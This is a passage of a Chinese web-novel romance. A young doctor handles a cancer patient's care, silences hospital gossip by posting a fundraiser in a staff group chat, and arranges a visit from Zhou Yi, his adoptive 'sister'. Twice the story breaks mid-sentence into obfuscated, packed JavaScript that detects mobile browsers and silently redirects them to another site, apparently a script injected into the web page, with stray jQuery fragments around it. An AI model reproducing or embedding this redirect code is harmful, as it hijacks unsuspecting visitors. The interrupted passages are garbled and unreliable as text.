程司远伸手摸向脸颊,说:“没事儿,小伤不要紧。” 赵乐仪身型一顿,从刚刚开始他就一直被程司远挡在身后,如今听护士这么说才发现对方脸上有伤,顿时更是惭愧不已,上前一步道:“是啊,程医生去处理一下不,医药费什么的都算我身上,真是不好意思啊。” 程司远摆摆手道:“这点小伤贴个创可贴就没事了,那还要什么医药费,真的不用。” 话音刚落,身后不知道什么时候又来了个护士,看样子是程司远的颜粉,见他破相了满脸愤愤不平,抱怨道:“真不知道那人是不是手上长刺了,怎么能伤成这样。” 其实程司远也不知道自己是怎么被划伤的,当时情况危急,如果自己不挡上去,赵乐仪的眼睛怕是要遭殃。匆忙间他也只看见赵文山右手小拇指上好像戴了什么东西,但显然现在不是关心这些的时候。 程司远径自拿过护士手里的文件夹道:“不说这些了,先去看看患者情况怎样了。” 众人跟着赵乐仪进了病房,心肺检测仪发出有规律的声响,吴妍安安静静的躺在病床上像是睡着了。 只不过几个月前还圆润的脸庞,如今却消瘦不少,眼窝深陷,脸色也是蜡黄一片,她头上还带着帽子,想来是化疗的时候头发掉光了。 程司远眼神暗了暗,拿着报告单翻了几页,对赵乐仪说:“你母亲之前确实有患结肠癌的风险,肺癌细胞扩散的快,想来应该是上次手术时间拖得太久了,这才……” 他话说了一半,忽然向赵乐仪弯腰道:“对不起,这是我的失误。” 赵乐仪连忙扶着程司远的肩膀,说:“别别,程医生你千万别这么说。” 他看了眼病床上的吴妍,继续说:“我知道我妈的病情复杂,也明白你们的辛苦。本来就是九死一生的事,没办法,这都是命。” 程司远暗暗握拳,胸口像是被压了万斤重石,“没办法,这都是命”这句话之前好像也有人跟他说过。他那时还小,确实没办法,但现在—— “你放心,哪怕有一丝希望我都不会放弃,她一定会没事的。”程司远说。 62.对线 周依被南芳和王子珺缠地逃不开身,两人恨不得将她和程司远的前世今生都八卦清楚。这好不容易讲个差不多,周依还没松口气,付一宁就从体育馆回来了。 她见三个人头对头见得不亦乐乎也嚷嚷着加入,知道周依和程司远还有“兄妹”这层关系更是来了劲,非要拉着周依再讲一遍。 然而周依却往椅子上一瘫,双眼紧闭,头一歪,装死了。 可哪有这么容易? 这三人先是买了小蛋糕,后又请客喝奶茶,愣是连哄带骗的又让周依讲了一遍。虽然她讲得都是暴力删减后的极简版,但耐不住这几位八卦爱好者狂热的心,问题还是一个接着一个。 终于,在周依马上口吐白沫翻白眼前,盘问结束,久违迎来了一句陈述句。 “意外,真是太意外了,没想到你背着我们吃这么好。”南芳一脸幸福道:“我要是有这么帅的医生当哥哥,做梦都能笑出声。” 周依真差点儿撅过去。什么叫“她背着你们吃这么好”? 她干什么了,怎么就…… 但还没等她开口反驳,就听王子珺说:“还真是,要不是今天这急救活动我们都不知道你还有个哥哥呢。” 她说完一顿,突然想到什么,转头看向付一宁,笑着问道:“对了,你跟那个孟泽怎么样啊,有没有什么进展?” 周依刚刚还一个头八个大,甚至都打算找机会说自己肚子疼准备遁走了,现在见话题开始转动,眼睛一亮,立即道:“是啊是啊,怎么样?快说说快说说嘛。” 上一秒还像个好奇宝宝问个不停的付一宁,下一秒就变成了哑巴,涨红着脸,眼神闪躲的转向一边,假装听不见了。 嘿,你看看,这有观众只吃瓜,不参与。 周依可不打算放过她,刚刚就数她问得勤。于是,拿着晃了晃,邪笑着故作无奈道:“那……就没办法了,看来我只能发信息问另一位当事人喽。” 南芳在一边听得笑出声,直呼“牛杯”。 付一宁终于败下阵来,认输道:“哎呀,好了好了,我说还不行嘛。” 她抿了口奶茶道:“其实……也没发生什么,就是最后互相留了联系方式。” 声音越说越小,到最后都细若蚊声了。 但不要紧,通常喜欢听八卦的人,在这时候都会表现出非人便的听力。 “我去!可以啊。”南芳惊喜道。 “宁姐这是大有进展啊。”王子珺附和道。 “有没有还是聊天。”周依也兴奋问道:“是他送你回来的吗?” 显然,这一个宿舍的人听力都很好。 “哎呀,别说了。”付一宁将脸埋到怀里的毛绒玩具里,含糊道:“我当时加完微信就跑了,哪还敢多呆一秒。” “哎呀,没事没事。”周依说:“来日方长,你绝对能拿下他,放心。” “就是,说的没错。” 南芳将奶茶举起,眼神扫视一圈,最后停在周依脸上,笑着继续道:“来,让我们预先祝贺,付一宁拿下孟泽、周依拿下她哥,干杯!” “什、什么?”周依惊得下巴都快要掉在地上,准备高举的奶茶也停在半空。 南芳见她这幅模样眼睛都快笑成一条缝了,说:“哎呀,别掩饰了,下午活动那会儿你眼睛都快长他身上了。那句话怎么说来着,什么什么不清白。” “你看他的眼神绝对不清白。”王子珺非常识趣地接话道。 说着,还高举着自己手里的奶茶跟南芳碰了个杯,一副“懂你”的知己模样。 周依当场傻眼,不是,她眼睛怎么就长程司远身上了?还不清白了? 但还没等她来得及反应,那臭味相投的两人一个对视,王子珺伸手就拿起一旁付一宁的奶茶,随即和南芳一起,结结实实和她手里停在半空的奶茶碰了个正着。 “干杯!”两人异口同声道。 得,解释不清了。 周依僵了一下,但很快又恢复平常,转过身,表示爱咋滴咋滴吧。 付一宁一开始还羞的耳根发红,觉得自卑怕孟泽不喜欢,但很快在王子珺和南芳的轮番夸赞下,也终于小心翼翼说了声,“那我试试,努努力”。 她话音刚落,又引得那看热闹不嫌事大的两人一阵玩笑。 周依跟着嘴角都笑酸了,她喘息一口缓了缓,忽然觉得喉咙里发渴,便拿起手边的奶茶喝了一口。奶茶她习惯要三分糖,但这一口却像偷偷被换成了全糖。 霎时间,味觉被这舌尖的甘美所沾满,倏地散至四肢百骸,后而又在心脏深处汇聚。好甜。 她垂眸看着手里的奶茶,不由自主细细摩挲着,脑海里付一宁的那声小心翼翼,也逐渐变得清晰。要不,试试? 夜色沉郁如墨,明月高举,繁星四散。秋风带了些许凉意,飘飘荡荡,落在树梢,惊动了还未入梦昆虫,发出窸窣声响。 医院走廊里的白炽灯常年着,周围安安静静的,唯有病房不远处的那间办公室,还时不时会发出几声交谈声。想来,又是有人主动加班了。 值班护士查房巡逻完,刚准备把病例册放回办公室,谁知道进门就见热闹非凡,除了原本就要值班的林医生,还有时不时就要给自己加班上的程医生,这怎么又多了一个? 她看着那人惊讶道:“童医生你也在?今天加班,还是……” 那值班护士话说了一半没有说完,转头看向一边正键盘敲得冒火星的程司远,看样子是不打算再说了。 林医生停下手里的资料,抬眼看了她一眼,先童遥一步道:“今天19病房45床确诊结肠癌,童医生在这方面有研究,就留下来帮忙了。” 童遥挑眉,听有人替她回答也懒得自己再说了,便对那值班护士点点头,继续忙手头的活了。 这林医生是个不怎么喜欢玩笑的性子,在程司远没有任职之前,拒人千里的形容是她的专属词汇。但好在,她只是表面上看起来比较严肃,私底下跟几个能说到一起的同事还是挺温和的。 虽然不多,但童遥就是其中一个,那天也正是她在那个乱七八糟吃瓜群里,出声制止谣谚发酵的。 显然,那值班护士也吃到了这瓜,听林医生这么说她脸上觉得讪讪的,放下手里的病例侧就佯称自己值班室有事,溜走了。 不消一会儿,林医生整理好自己手上的资料,刚准备抬手看时间,就见那吃瓜群里又有了新消息,那红点上面的数字也忽然激增。她朝着门口皱了皱眉,觉得那护士应该不至于转头就去群里说。 但人心难测,她抿了抿嘴唇,还是决定点开群聊查证一番。 肛肠科——王医生:我今天都看了,这还有假? 心肺科——张医生:哦对,你今天跟他们一组来着。 赵护士:王医生继续说啊,然后呢,怎么了?童医生真的跟程医生在一起了? 肛肠科——王医生:绝对在一起了,下午有位学生手臂不小心划伤了,本来就没多大事儿,程司远非要让童遥陪着走一趟医务室。我看关心学生是假,不让童遥累着才是真。 肛肠科——王医生:这要是没在一起,我自愿加班一周。 这话一说完,不管是护士还是医生都一排排刷起了大拇指,表示对王医生决心的认可。 林医生看着屏幕里的信息就觉得心烦,但还没等她退出,就见这一排排粘贴复制的大拇指中又掺杂了其他东西。 陈护士:怪不得,前段时间都是程医生一个人加班,今天童医生也留下了。 赵护士:这么劲爆吗? 内分泌科——李医生:那就麻烦陈护士当我们的情报员了,没事儿就去办公室看看,万一还能发现什么呢。(笑) 接下来的聊天记录一会儿是竖大拇指,一会儿又是八卦问细节的,还有几个不知道有什么癖好的竟然煽动着陈护士去办公室偷拍。 林医生看着脏乱不堪的屏幕,气得牙都快咬碎了,不由低声怒斥道:“一群犯了病的疯子。” 她声音不大,但奈何办公室里就他们三人,现在又静的出奇,程司远和童遥自然是听得清楚。 “怎么了?”童遥边忙边问道:“是什么能让我们林医生发这么大火?” 程司远对林医生的印象不错,听她怒火中烧也凑空看了一眼。 林医生拿着手机紧皱着眉头,沉默不语,半晌才犹豫道:“童医生,不好意思啊,我能问你一件事吗?” “嗯?什么事,你问呗。”童遥说。 林医生斜瞥了程司远一眼,深吸一口气道:“你们在一起了吗?” 童遥正忙着不知道在写什么东西,下意识以为她说的是季流年,不假思索道:“快了,还没呢。” 她说完还没等林医生惊讶,突然又反映过来,惊讶道:“你怎么知道我有喜欢的人了?” 季流年的事,放眼望去也就只有程司远知道啊,她怎么知道的?难不成—— 童遥还没有想完就知道不可能,她瞥了眼正把鼠标点得冒火星的程司远,觉得自己有这想法可能是加班加傻了。相信程司远传八卦的概率,她不如直接去买彩票。 林医生无奈叹息一声,把手机伸到童遥面前,说:“别说我,这都知道了。” “啊?”童谣不解,一头雾水地拿过手机垂眸看了起来。 这一看,可真是把她吓得不轻,群里正热和朝天讨论着如果她和程司远结了婚,婚后大权应该是谁的。 那有人义正言辞的说了,绝对是程司远的,因为童遥爱玩,管不了家。 奥,还有人打赌说肯定是童遥的,证据就是程司远冷冰冰、不苟言笑的外表下,其实长了一颗有爱的心,喜欢小动物,非常尊重女性。 呦,你看看,这还有说应该父母当家作主,年轻人只管努力拼搏的。 反正千奇百怪,什么都有。 看的童遥两眼一抹黑,难以置信道:“他们说什么,谁说我喜欢程司远了?” 身为八卦中心的另一位主人公,听到他的名字也难得偷闲,问:“你们说什么?” 林医生先是诧异,后又疑惑,看着两人面面相觑,试探道:“你们两个……都没那意思?” “我是有喜欢的人,但那真不是程司远。”童遥把手机还给林医生,下巴朝着程司远指了指,继续道:“而且他有喜欢的人了,也不是我。” “啊?” 信息量太大,林医生惊得下巴差点掉下来,求证般看向程司远,试图找到一丝跟八卦沾边的讯息。总不能群里这吃得热火朝天的瓜,毫无一点根据吧。 但没想到程司远比童遥还坦然,点头淡淡道:“喜欢很久了。” 林医生差点被自己的口水呛死,没有半点儿平日里的淡定,拿着手机又递给程司远,说:“这事儿你也不知道吧。” 程司远有点发懵,接过手机发现是之前自己觉得浪费生命退出的医院群,皱眉看了几行,又往上划了几下,脸色越来越难看。 到最后,林医生甚至觉得程司远周身的寒意都能渗到屏幕里冻死人,她“呃”了一声,小心翼翼道:“要不……我跟他们说一声,别说了?” 程司远冷笑一声,将手机还给林医生,面上不改色道:“谢谢,不用了,你把我拉进去就行。” 林医生刚接过手机,这话一入耳,她手滑的差点把手机掉地上,支吾道:“你要进群吗?吵起来……不太好吧,毕竟……” 她话说了一半,就没有再继续说了。毕竟同事一场,就像她没立场去阻止群里的那群吃瓜众,同样她也没立场拦着程司远不发火。 “我不跟他们吵。”程司远手指轻动,在手机上点开一个小程序,向林医生展示道:“就把这个发群里。” “什么啊,我也看看。”童遥也好奇地凑过来,等她看清页面上的字,挑眉笑道:“有意思,那麻烦林医生把我也拉进去一下。” “你们……” 林医生看着两人停顿片刻,半晌还是轻叹道:“好吧。” 吃瓜群人声鼎沸,这会儿不知道为什么,话题已经发展到了程司远和童遥打不打算要二胎的咂舌程度。 忽然,群里的两个系统消息打断了这“要与不要”回复长龙,显示: 肿瘤科——林医生邀请“在途”加入群聊。 肿瘤科——林医生邀请“Eureka”加入群聊。 这两个昵称,大家并不陌生,毕竟一开始他们在的时候也是群里被常艾特的老人。于是,刚刚还热火朝天的群里,突然就变得死寂,只剩下几位手速跑眼睛前面的瓜众还兀自发送着信息。 妇产科——赵医生:我觉得会生,咱们医院妇产科条件不错,近水楼台的少多少麻烦。 张护士:应该不会吧,现在生活压力多大啊。我一胎都不想要,我不觉得他们能生二胎。 骨科——李医生:肯定不能生,他们肿瘤科多忙啊,刚刚不是说还加班呢嘛,这怎么生? 肛肠科——王医生:年轻人精神旺,加完班一样生。 此时此刻,屏幕外不少人已经汗流浃背了,有几个好心人,还贴心的提醒他们撤回,或者干脆刷起“。”或者“……”了。 但奈何信息跳转太快,那小小不起眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13689938|135289||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的系统信息很快就被顶的翻不到了,不知道真相的人一头雾水,知道真相的人则是急的满头是汗。 肛肠科——王医生:你们这是怎么了,手机坏了? 他刚发完这句话没等到知情者回复,便有了答应。因为程司远好巧不巧就在他这一问句的下面,分享了一个小程序,昵称也从“在途”变成了“肿瘤科——程医生”。 屏幕外的王医生吓得手机都掉了,连忙捡起又不确定的看了好几眼。还真是他。 王医生尴尬的满地找头,想长按撤回,又觉得实在太丢人。犹豫来犹豫去,又等来了一条新消息。 肿瘤科——程医生:看到大家这么喜欢关心他人我就放心了,这是肿瘤科19号病房45床的患者,还请大家多多关注,献出自己的爱心,谢谢。 王医生默默读完觉得自己云里雾里,不知道程司远这是什么意思,就好奇地点开他发过来的小程序。 “重病无情,人间有爱。请一起为结肠癌患者吴妍加油,献出爱心,踊跃捐款?”王医生越念越惊讶,到最后甚至成了疑问句。 他往下翻了翻,见程司远已经先一步捐了,又看到对应金额更是诧异出声道:“一万?疯了吧。” 话音刚落,小程序滚动栏里突然出跳出一条信息:肿瘤科——童医生,捐赠一万元。 “这也是个疯子。”王医生咧嘴道。 他左划退出小程序返回群聊页面,发现大家咋咋唬唬开始了新的话题。 肿瘤科——马医生:这位患者家境确实不太好,不久前才做了肺叶切除和淋巴结清扫,现在确诊又结肠癌,属实雪上加霜。 心肺科——冯医生:我有印象,之前她丈夫还在医院闹来着。他们还有个儿子,看起来也就刚大学毕业的样子。 赵护士:我也想起来了,好像今天还叫保安了。 肿瘤科——童医生:善捐活动还请多多参与,感谢大家。 童遥发完这一条信息,还不忘艾特几个刚刚吃瓜吃得争先恐后,现在却土遁不知道到什么地方的爱心人士。其中,正好就有准备退出群聊的王医生。 王医生气得直骂娘,随手点开小程序,他就不信除了程司远和童遥两个疯子,谁还真的参与,都不过是走个—— “过场”两个字他还没想完,就被屏幕上的名单震惊到了。 心肺科——冯医生,捐赠五百元。 赵护士,捐赠两百元。 影像科——张医生,捐赠三百元。 肿瘤科——林医生,捐赠两千元。 张护士,捐赠一百元。 …… 还有后来被童遥艾特的几位,也陆陆续续都开始捐款了,四百、三百、六百…… 王医生上下划了划,脑子里快速算了一遍,这一会儿除了那顶头的两万,零零散散都又快一万了,不禁愕然道:“大家都不用养家的吗,这么有钱?” “怎么,让你养家委屈你了?” 一旁正安静叠衣服的妻子听到就不乐意了,满脸不悦继续道:“我天天给你洗衣做带孩子,我都没说委屈,你在这抱怨什么?” 王医生是在医院出了名的怕老婆,立马放下手机,哄道:“没有没有,我能委屈啊,有这么个好老婆天天高兴都来不及呢。” 这场面妻子像是见多了,并没有太大的触动,只是淡淡瞥了他一眼,说:“你最好是。” 她起身向外走去,说:“你快去洗澡吧,我去看看闺女作业写完没有。” 王医生拿了换洗衣物连声答应,见妻子走出门了,又随手放下,拿起手机继续翻看起来。 这时,在线的人也差不说捐赠完了,群里的话题也开始变得平淡起来,直到—— 肿瘤科——程医生:王医生是睡了吗? 肿瘤科——童医生:王医生好习惯啊,九点多就睡了。 肿瘤科——程医生:奥,那应该是不知道这捐款活动,明天我再跟他说一声。 王医生看着这两人一唱一和的气得牙都快咬碎了,明明就在一个办公室,得要在群里说个没完,演给谁看呢? 肿瘤课——林医生:程医生你怕是不知道,王医生工资都是上交的,怕是没私房钱来捐款,你就放过他吧。 她向来就跟王医生不对付,觉得这人品行就有问题,这好不容易逮到机会,自然好好珍惜。 而手机另一端的王医生气得差点没撅过去,他刚刚还想着趁不注意偷偷换个几十块,差不多意思意思就行了。但现在,他倒是有点骑虎难下的意味了。 他暗暗咬牙点开捐款页面,在数字框里输入100。刚准备确认时,忽然又退了出来,拿着手机朝门口张望了一会儿,这才鬼鬼祟祟切换了微信小号,见里面余额还有两千千多块,长舒了一口气。 随后,他又切回微信大号,暗骂一声,在捐款页面上的数据框里输入300,点了确认。 王医生忍着心痛,在群里发消息:不好意思,刚刚在陪女儿写作业,没看手机。 办公室内,童遥看着手机差点笑出声,抬头道:“你们说这王医生会不会恨死我们了,整整三百大洋啊。” 林医生忍笑道:“那估计是恨透了。” 程司远也跟着勾了勾嘴角,他翻动着捐款名单觉得差不多了,便转手打开了跟赵乐仪的对话框。 在途:钱的事你们不用着急,安心治疗就好。 他刚发送完成,就见童遥在大群里发了新消息。随意点开,就见群里突然炸了锅。 肿瘤科——童医生:不好意思,我突然想起来个喜事没跟大家说。 肿瘤科——童医生:这是我男朋友,吴都大学的校医。 同时还附了一张照片,正是今天下午他们在体育馆教紧急救援时的照片—— 照片里童遥单手空心比爱,身边站着的正是满眼含笑的季流年。 群里有人刷感叹号,有人刷问号,还有不少人齐刷刷送上祝福。谣言便也不攻自破了。 林医生看着满脸笑盈盈的童遥,问:“这样真的好嘛,你不是说还没在一起吗?” “害,这有什么。”童遥笑道:“他迟早都是。” 林医生被她这幅胸有成竹的样子逗笑了,说:“那我也恭喜你了,恋爱快乐啊。” “谢谢谢谢,必须快乐。” 童遥嘴上说着,手下还不忘打字。她把刚刚乱说话的人通通艾特了一遍说:谢谢大家关心我的婚后生活,需要随礼的时候一定忘不了你们。 群里几个看热闹不嫌事大的还不忘艾特肛肠科——王医生,说:王医生醒醒,该加班了。 63.试探 这晚,周依居然意外的失眠了。 也许是因为那奶茶喝的太晚,咖啡因还没有代谢出去,又或者只是因为童遥的一番话,她这好不容易沉静下来的心,现在又开始浮动起来,甚至比以往任何一次都来的迅猛、剧烈。 宿舍里熄了灯,周围看起来都黑暗暗的,唯有周依小床的帘子后面还微微亮着弱光。她躺在床上,怀里习惯性抱着那只粉色玩偶,懒洋洋翻动着她和“木头”的聊天记录。 上面从积极回应,到毕恭毕敬,再到已读不回,记录的一清二楚。之前她还觉得自己这是妥善处理的行为,但现在她只觉得不过都是愚蠢的掩耳盗铃。 时间在手指的滚动中滴答流失,周依看着零点三十分的数字,轻轻翻了身,睡意依旧全无。 她划出聊天框,点开朋友圈,百无聊赖地翻了几下,然后又退了出去,随后在其他app逛了一圈。但不管是视频还是文字,好像都不太进脑子。 不知道为什么,她总感觉心里空空的、没抓没落,但又觉得被塞得很满,挤得发胀。 不知道他睡了没…… 周依切回微信,点开最顶上“木头”的聊天框,轻咬着唇犹豫良久,刚缓缓在输入框里打出“在干嘛”的字眼,又极速删除。 她觉得她脑子可能坏了,哪有人快凌晨一点了还问对方在干嘛的? 周依苦笑一声,看着聊天界面上的键盘愣愣出神。哪怕就只是这么静静地躺着,她都能感觉到那胸口处心脏的剧烈起伏。 看来,那奶茶的咖啡因确实有点多。 而且,她真的好想跟他说说话。哪怕只是文字。 周依捂着心脏深吸一口气,试图缓解那饶人的躁动。 可终究徒劳。 那股又空又满的感觉就在这脉冲中,从心低传向大脑,只不过瞬间,她好不容易搭建起来的防御就荡然无存。她大抵是真的疯了。 下一秒,周依就像孤注一掷般,手起字落,在对话框只能够留下—— 月曜:哥,晚安。 这是她第一次主动给程司远发信息,然而就是这简简单单的三个字,她的手心就已经噙满了汗水。同时,也松了口气。 可这口气周依还松到底,瞬间又被提了上来。 她那就话刚发送过去没几秒,下面就有了回复,就像是对方也在拿着手机,犹豫要不要给她发信息一样。 木头:怎么还没睡? 木头:是做作业做晚了,还是睡不着? 周依吞了吞唾沫,要不是那小夜灯昏暗,估计她脸上的红晕早就暴露无遗了。她看着屏幕愣了几秒,随后捏了捏微微发麻的指尖,回复道:没有,就快睡了。 程司远不知道她这“没有”是指的什么,就只见后半句说“就快睡了”便在输入框中输入:那就快睡吧,已经很晚了,快一点了。 周依看着键盘上方的回复,嘴里忍不住吐槽道:“笨蛋木头!” 南芳迷迷糊糊从床上下楼,刚要去上厕所,就听见邻床周依的一声低骂,抬头见她夜灯还开着,便顺口说道:“啊?周依你还没睡啊,这都几点了,快睡吧。” 周依的声音不大,还故意压得很低,但没想到还是被人听到了。她心里一惊,连忙从床上坐起,把帘子拉开道:“抱歉抱歉,是我吵到你了吗?对不起啊,我不是故意的。” 南芳意识模糊显然还睡醒,听她怎么说也只是嘴里含糊道:“奥没事,我就上个厕所。” 说完,蹒跚着脚步开门去卫生间了。 周依暗暗松了口气,轻轻把帘子拉上,又缓缓躺了下来,拿起手机回复那笨蛋木头的话—— 你明天会忙吗,我…… 她咬着嘴唇,眼睛凝视着那个闪动的竖杠,沉默了不知道有多久,直到嘴唇都被她咬的发痛了,才终于鼓起继续输入、发送。 月曜:你明天会忙吗,我能不能去找你? 她看着屏幕上发送完成的这句话,耳根瞬间就跟着烧了起来,不免又心虚的补了句:我想吃奶黄包了,去买的时候顺便去找你。 夜晚的办公室里实在静得出奇,就哪怕是根羽毛从空中飘下来,好像也能弄出动静。程司远看着手机上“馋猫”发来的信息,喉咙微微松动,他这原本不可察的细微举动,现在却也变得格外明显。 “嗯?都加班到这个时间了,你还能笑出来?”童遥看着他吐槽道:“还是人吗?” 程司远难得觉得尴尬,清咳一声道:“抱歉,忘记看时间了。这样,反正剩得也不多了,你先下班吧。” “我能走了?”童遥一喜,随即又警惕道:“干嘛、你不会还想让我攒到明天一起熬吧?” “能走。” 程司远手指在屏幕上轻点,心情似乎很不错的样子,说完又补了句:“我明天有事不加班,你要是想加,那我也不拦着。” 童遥听了嘴角直抽搐,把手头的资料整理好,拿了包就准备溜之大吉。但还没走两步就又被程司远叫住,说:“你怎么回,开车了吗?” 童遥吓了一跳,还以为这人要后悔,但听到后半句又蓦地松了口气。她晃了晃手里的手机,扬眉道:“多谢关心,给季学长发消息了,马上就到。” 程司远嘴角弯了弯,似乎意料之中。 刚出去巡视病房的林医生,这时也回来了,见童遥背着包,不禁问道:“诶?童医生这是要走了?” “嗯,下班下班。”童遥点头笑道:“去见准男友喽。” 说完,迈着步子就离开了。 “这么高兴啊。”林医生看着童遥的跳跃的背影感叹一声,转头又无意瞥到程司远嘴角的微笑,嘀咕道:“这儿也挺高兴啊。” 昏暗的灯光下,周依手里的手机嗡嗡响了两声,上面多出两条消息。 木头:不忙,那等我下班买给你吃。 木头:欢迎你随时来找我。 尽管周依已经在克制地咬着嘴唇,但还是抑制不住上扬的嘴角。她紧抱着怀里的大象,原本是想握拳锤打几下,好缓解这莫名的激动情绪的,可又怕动静大了吵到别人,瞬即改为捏了。 过了好半晌,周依才又拿起手机,给木头发送信息。 月曜:那就这么说好了,不能反悔哈,我要十个你也得买。 木头:绝不反悔,一百个都买。 木头:已经很晚了,快睡吧,熬夜的得来的奶黄包可不好吃。 周依手指一顿,抬眼瞥了眼时间,见已经一点了,立马在聊天框里发送: 月曜:知道了,马上就睡。 月曜:晚安哥,明天见。 木头:明天见。 木头:晚安。 周依看着屏幕脸上止不住地笑,如果是她一个人在家的话,那估计现在已经开心得满屋子乱跑了。 但很遗憾,这世界上没有如果。 于是,她就只能退而求其次的,蹂躏她怀里的大象了,只是嘴里还不忘嘟囔道:“这还怎么睡啊。” 大象“………” 大一的课程并不算忙碌,时不时还有只上半天课的时候,偶尔赖赖床跟熬熬夜也不算不了什么要紧事,比起高中简直不知道轻松了多少倍。 正午时分,周依上完课和室友们一起买了饭就回了宿舍,几人边看下饭剧边嘻嘻哈哈讨论狗血剧情,愉快万分。 南芳吃着饭,随口闲聊道:“周依你昨晚几点睡的啊,我迷迷糊糊记得你半夜了都还醒着。” 周依讪笑一声道:“差不多……一点多点吧。” 说完就低头认真扒饭,心虚地掩盖自己黎明才睡着的事实。 “那么晚!”付一宁惊呼一声,关心道:“你不是不熬夜嘛,这是怎么了,失眠还是不想睡啊?” 周依摸了摸鼻子说:“也不算失眠吧,可能是昨天奶茶喝太晚了,不困。” 王子珺听闻啧了一声,说:“可惜了,要不是我前两天熬得太狠,昨天晚上实在困的不行,我就跟你作伴了。” “别,你可千万别。”南芳立即劝阻道:“你那作息阎王看了都摇头,我可不想大一就保研。” 周依想起刚开学王子珺那黑白颠倒睡觉模式,也是替她全身器官捏了把汗,玩笑附和道:“就是说的,早早保研不合适,你保重身体,我们还想努努力。” “不至于,我应该没那么脆弱。”王子珺满不在乎道。 “你是不脆弱,但——”付一宁说着视线往上移动道:“你的头发可就不一定了。” 王子珺一愣,伸手捂着自己的头说:“我去,我怎么把这茬给忘了。不行不行,熬夜一直爽,头发火葬场,我以后也得早点睡了。” 三人看着她这呆楞的表情,顿时齐笑出声。 饭吃的差不多了,南芳在手机上看了眼课程表说:“今天下午没课诶,要不然我们出去?” 王子珺立马兴奋道:“好啊好啊,附近不是新开了个商场嘛,正好去逛逛,看看有没有什么好玩的。” “想到一块儿了,我也想去来着。”南芳看向另外两人问:“你们呢,要去吗?” 付一宁摇摇头,看着阳台外大大小小的花盆说:“去不了,我下午得给我的花松松土。” 南芳愕然,心里替自己不如花宝贵的事实委屈一秒,随后又眼巴巴的看向周依。 周依被她看的身上发毛,咧嘴道:“别、你别这么看我,我也去不了。” “啊?为什么?”南芳哀怨道:“你又不养花。” 周依想起昨晚的聊天记录,耳根微微泛红,侧转过脸,嘴里嘟囔道:“我……我下午约了别人。” “嗯?不对!你不对劲!”王子珺闻着味儿就来了,坏笑道:“老实交代,是不是背着我们约了帅哥?” 南方也跟着围了上来,挑眉笑道:“哎呀,这是哪个帅哥把我们家周依给拐跑了?” “哎呀,你们说什么呢。”周依脸颊上泛着薄红道:“就程、就我哥啊,哪有什么帅哥。” “你哥还不不够帅啊。”南芳笑容更盛,调侃道:“怎么,昨天刚见今天就想了?” 王子珺也跟着付和道:“诶你看看,脸怎么还红了?” 周依简直能羞得满地找头,立马躲到没有参战的付一宁身后说:“谁搭理你们啊。” 然而—— 付一宁嘴角带着笑,转过身也打趣道:“我们周依下午要去约会啊,那想好穿什么了嘛?” “啊啊啊,宁姐你怎么也这样啊。”周依蹲在地上,满脸通红道:“不是约会,都不沾边好嘛。” “好好好,不是,你先站起来。”付一宁把她扶起,又问:“哪里打算什么时候去?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13717874|135289||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 周依见话题没有再跑片,想了想说:“他六点下班,我差不多四点去吧。” 付一宁若有所思地瞥了眼桌上的闹钟,笑着迎上一旁南芳满面诡计的目光,说:“那来得及。” “啊?什么来的——” 周依还没有说完,三人就一下全都围了上来。她惊呼一声:“你们想干嘛?” 三人互相对视一眼,心照不宣同时开始动作,又是给周依扎头发,又是往她脸上喷喷雾的,这不,还有翻箱倒柜找衣服的。 霎时间,周依就成了粘板上任人宰割的鱼肉。 医院内,程司远刚下了手术台,还没走到办公室远远的就见赵乐仪搀扶着一个瘦弱的身影吃力地朝他走来。 程司远一惊,急忙迈步上前道:“您怎么来这了,有什么事直接叫我们就行,不用亲自出来。” 吴妍苍白的嘴唇像是虚弱极了,轻笑道:“筹款的事我都听乐仪说了,谢谢你啊程医生,要不是你,我可能……我可能都活不到………” 声音越说越模糊,到最后已然只剩哽咽了。 赵乐仪也红了眼眶道:“妈你别瞎说,什么活不活的,你这都是小问题,没事的。” 程司远也连忙安慰道:“是啊阿姨,你安心养并就行,其他的不用多想,说不定等几天就能出院了。” 吴妍无力地喘着粗气,努力平复情绪道:“你们不用瞒着我了,我都……知道了。” 赵乐仪身体一僵,瞬即又勃然大怒道:“赵文山跟你说的?他还要不要脸了!” “乐仪!他是你爸!”吴妍厉喝一声,但因为情绪太过激动又引得她止不住得咳嗽,煞白的脸上,顿时盖上了一层异样的潮红。 程司远急忙搀扶道:“阿姨你先别激动、深呼吸。” 赵乐仪也慌了,立即道:“妈、妈你还好吧,我不说了,你别激动,千万别激动。” 吴妍半弯着腰缓了半晌,才气若游丝道:“没有,我没事,不好意思啊程医生,我这儿子不懂事,让你笑话了。” “说哪里的话,你儿子真的很棒,很孝顺。”程司远看着赵乐仪道:“我去找个轮椅,你推阿姨回去吧。” 赵乐仪点点头,用力搀扶着吴妍,见程司远走远了,垂眸道:“妈,我爸他说的你别往心里去,程医生是个好医生,他一定能看好你。” 吴妍在他怀里靠了靠,看着消失在远处亮白的身影,闭眼点了点头。 宿舍内一阵兵荒马乱,几个人的桌子上也被堆得乱七八糟。 阳光映入窗内,周依白皙的肌肤在粉底的修饰下,仿佛透出一层柔和的光泽,如同瓷器般无瑕。她的眼睛被眼线勾勒得更加深邃,睫毛弯弯翘起,每一次眨眼都像是在释放迷人的信号。 原本被高高盘起的长发,现在微卷的四散在耳后,身上那酒红色修身的木耳边泡泡短裙,更是显得她明艳动人。 